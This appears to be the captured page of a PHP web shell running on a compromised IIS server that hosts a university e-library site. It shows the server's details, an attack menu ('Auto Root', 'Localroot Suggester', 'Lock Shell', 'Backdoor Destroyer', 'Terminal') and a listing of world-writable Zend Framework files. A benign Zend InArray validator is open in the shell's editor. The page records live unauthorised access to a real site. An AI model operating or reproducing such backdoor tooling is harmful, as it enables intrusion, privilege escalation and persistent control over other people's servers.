Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 3.15.145.122
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
elibrary /
lib /
Zend /
Validate /
Delete
Unzip
Name
Size
Permission
Date
Action
Barcode
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
Abstract.php
12.03
KB
-rw-rw-rw-
2020-02-14 07:54
Alnum.php
4.02
KB
-rw-rw-rw-
2020-02-14 07:54
Alpha.php
3.93
KB
-rw-rw-rw-
2020-02-14 07:54
Barcode.php
6.19
KB
-rw-rw-rw-
2020-02-14 07:54
Between.php
5.56
KB
-rw-rw-rw-
2020-02-14 07:54
Callback.php
4.37
KB
-rw-rw-rw-
2020-02-14 07:54
Ccnum.php
3.06
KB
-rw-rw-rw-
2020-02-14 07:54
CreditCard.php
9.86
KB
-rw-rw-rw-
2020-02-14 07:54
Date.php
7.52
KB
-rw-rw-rw-
2020-02-14 07:54
Digits.php
2.57
KB
-rw-rw-rw-
2020-02-14 07:54
EmailAddress.php
16.92
KB
-rw-rw-rw-
2020-02-14 07:54
Exception.php
1.07
KB
-rw-rw-rw-
2020-02-14 07:54
Float.php
3.43
KB
-rw-rw-rw-
2020-02-14 07:54
GreaterThan.php
2.83
KB
-rw-rw-rw-
2020-02-14 07:54
Hex.php
1.99
KB
-rw-rw-rw-
2020-02-14 07:54
Hostname.php
34.97
KB
-rw-rw-rw-
2020-02-14 07:54
Iban.php
7.12
KB
-rw-rw-rw-
2020-02-14 07:54
Identical.php
4
KB
-rw-rw-rw-
2020-02-14 07:54
InArray.php
5.16
KB
-rw-rw-rw-
2020-02-14 07:54
Int.php
3.91
KB
-rw-rw-rw-
2020-02-14 07:54
Interface.php
1.88
KB
-rw-rw-rw-
2020-02-14 07:54
Ip.php
5.38
KB
-rw-rw-rw-
2020-02-14 07:54
Isbn.php
7.52
KB
-rw-rw-rw-
2020-02-14 07:54
LessThan.php
2.8
KB
-rw-rw-rw-
2020-02-14 07:54
NotEmpty.php
7.94
KB
-rw-rw-rw-
2020-02-14 07:54
PostCode.php
5.85
KB
-rw-rw-rw-
2020-02-14 07:54
Regex.php
3.92
KB
-rw-rw-rw-
2020-02-14 07:54
StringLength.php
6.47
KB
-rw-rw-rw-
2020-02-14 07:54
Save
Rename
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@zend.com so we can send you a copy immediately. * * @category Zend * @package Zend_Validate * @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id: InArray.php 23775 2011-03-01 17:25:24Z ralph $ */ /** * @see Zend_Validate_Abstract */ require_once 'Zend/Validate/Abstract.php'; /** * @category Zend * @package Zend_Validate * @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Validate_InArray extends Zend_Validate_Abstract { const NOT_IN_ARRAY = 'notInArray'; /** * @var array */ protected $_messageTemplates = array( self::NOT_IN_ARRAY => "'%value%' was not found in the haystack", ); /** * Haystack of possible values * * @var array */ protected $_haystack; /** * Whether a strict in_array() invocation is used * * @var boolean */ protected $_strict = false; /** * Whether a recursive search should be done * * @var boolean */ protected $_recursive = false; /** * Sets validator options * * @param array|Zend_Config $haystack * @return void */ public function __construct($options) { if ($options instanceof Zend_Config) { $options = $options->toArray(); } else if (!is_array($options)) { require_once 'Zend/Validate/Exception.php'; throw new Zend_Validate_Exception('Array expected as parameter'); } else { $count = func_num_args(); $temp = array(); if ($count > 1) { $temp['haystack'] = func_get_arg(0); $temp['strict'] = func_get_arg(1); $options = $temp; } else { $temp = func_get_arg(0); if (!array_key_exists('haystack', $options)) { $options = array(); $options['haystack'] = $temp; } else { $options = $temp; } } } $this->setHaystack($options['haystack']); if (array_key_exists('strict', $options)) { $this->setStrict($options['strict']); } if (array_key_exists('recursive', $options)) { $this->setRecursive($options['recursive']); } } /** * Returns the haystack option * * @return mixed */ public function getHaystack() { return $this->_haystack; } /** * Sets the haystack option * * @param mixed $haystack * @return Zend_Validate_InArray Provides a fluent interface */ public function setHaystack(array $haystack) { $this->_haystack = $haystack; return $this; } /** * Returns the strict option * * @return boolean */ public function getStrict() { return $this->_strict; } /** * Sets the strict option * * @param boolean $strict * @return Zend_Validate_InArray Provides a fluent interface */ public function setStrict($strict) { $this->_strict = (boolean) $strict; return $this; } /** * Returns the recursive option * * @return boolean */ public function getRecursive() { return $this->_recursive; } /** * Sets the recursive option * * @param boolean $recursive * @return Zend_Validate_InArray Provides a fluent interface */ public function setRecursive($recursive) { $this->_recursive = (boolean) $recursive; return $this; } /** * Defined by Zend_Validate_Interface * * Returns true if and only if $value is contained in the haystack option. If the strict * option is true, then the type of $value is also checked. * * @param mixed $value * @return boolean */ public function isValid($value) { $this->_setValue($value); if ($this->getRecursive()) { $iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($this->_haystack)); foreach($iterator as $element) { if ($this->_strict) { if ($element === $value) { return true; } } else if ($element == $value) { return true; } } } else { if (in_array($value, $this->_haystack, $this->_strict)) { return true; } } $this->_error(self::NOT_IN_ARRAY); return false; } }